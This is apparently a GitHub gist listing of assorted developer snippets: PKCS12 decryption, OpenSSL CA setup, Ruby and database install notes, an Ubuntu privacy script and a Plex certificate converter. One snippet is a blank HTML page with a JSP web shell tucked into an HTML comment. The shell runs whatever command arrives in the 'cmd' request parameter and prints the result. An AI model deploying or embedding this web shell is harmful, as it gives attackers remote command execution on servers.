Skip to content

Instantly share code, notes, and snippets.

@sh1n0b1
sh1n0b1 / p12decrypt.php
Created September 30, 2015 00:54
Decrypt strings encrypted by PKCS12 keys
<?php
$p12cert = array();
$file = '[PATH]]';
$c = file_get_contents($file);
if (openssl_pkcs12_read($c, $p12cert, '[REDACTED]') )
{
$pkey = $p12cert['pkey']; //private key
$cert = $p12cert['cert']; //public key
//decrypt the encrypted parameter value
@sh1n0b1
sh1n0b1 / gist:5428373
Last active December 16, 2015 11:38
Java ReadFile
import java.io.*;
import java.util.*;
public static void main(String[] args){
readFile(args[0]);
}
public static void readFile(String fileName) throws FileNotFoundException{
File file = new File(fileName);
# Run this once
openssl genrsa -des3 -out ca.key 4096
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
@sh1n0b1
sh1n0b1 / PyRequest.py
Last active December 30, 2015 20:19
Python HTTP Request
import requests, re
URL = 'http://www.google.com'
r = requests.get(URL)
search = re.findall("google", r.text)
print search
@sh1n0b1
sh1n0b1 / Ruby.md
Created December 13, 2013 01:01
Ruby Installation

Ruby 2.0

Download Ruby and compile it:

mkdir /tmp/ruby && cd /tmp/ruby
curl --progress ftp://ftp.ruby-lang.org/pub/ruby/2.0/ruby-2.0.0-p353.tar.gz | tar xz
cd ruby-2.0.0-p353
./configure --disable-install-rdoc
make

sudo make install

@sh1n0b1
sh1n0b1 / DB.md
Created December 13, 2013 01:10
MySQL & PostgreSQL Installation

MySQL

# Install the database packages
sudo apt-get install -y mysql-server mysql-client libmysqlclient-dev

# Pick a database root password (can be anything), type it and press enter
# Retype the database root password and press enter

# Secure your installation.

sudo mysql_secure_installation

Launch Sublime Text 2 from the Mac OS X Terminal

Sublime Text 2 ships with a CLI called subl (why not "sublime", go figure). This utility is hidden in the following folder (assuming you installed Sublime in /Applications like normal folk. If this following line opens Sublime Text for you, then bingo, you're ready.

open /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl

You can find more (official) details about subl here: http://www.sublimetext.com/docs/2/osx_command_line.html

Installation

@sh1n0b1
sh1n0b1 / fixubuntu.sh
Last active January 4, 2016 04:38
Fix Ubuntu Bash
# Figure out the version of Ubuntu that you're running
V=`/usr/bin/lsb_release -rs`
# The privacy problems started with 12.10, so earlier versions should do nothing
if [ $V \< 12.10 ]; then
echo "Good news! Your version of Ubuntu doesn't invade your privacy."
else
# Turn off "Remote Search", so search terms in Dash don't get sent to the internet
gsettings set com.canonical.Unity.Lenses remote-content-search none
<html>
<head>
<!-- <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<br />"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null )
{ out.println(disr); disr = dis.readLine(); } } %>
-->
</head>
<body>
</body>
</html>
@sh1n0b1
sh1n0b1 / pem2plex.py
Created January 21, 2017 16:28 — forked from lokulin/pem2plex.py
Convert the x509 certificate to certificate.p12 that Plex requires.
#!/usr/bin/python
import sys
import hashlib
from OpenSSL.crypto import *
def main():
if(len(sys.argv) != 4):
print sys.argv[0] + " /path/to/ssl.crt /path/to/ssl.key ProcessedMachineIdentifier"
sys.exit(0)